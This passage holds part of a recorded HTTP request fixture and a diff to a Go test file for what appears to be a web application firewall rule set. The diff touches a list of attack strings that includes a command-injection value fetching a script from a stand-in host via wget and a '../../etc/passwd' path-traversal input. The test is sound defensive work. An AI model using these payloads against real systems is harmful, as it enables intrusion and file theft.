text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"} diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go index 12069e9..ac1b9f8 100644 --- a/internal/coreruleset/vaultwarden_test.go +++ b/internal/coreruleset/vaultwarden_test.go @@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) { var vaultwardenAttacks = []string{ injection, scriptTag, - "; wget http://example.com/x.sh", + shellCommand, "../../etc/passwd", }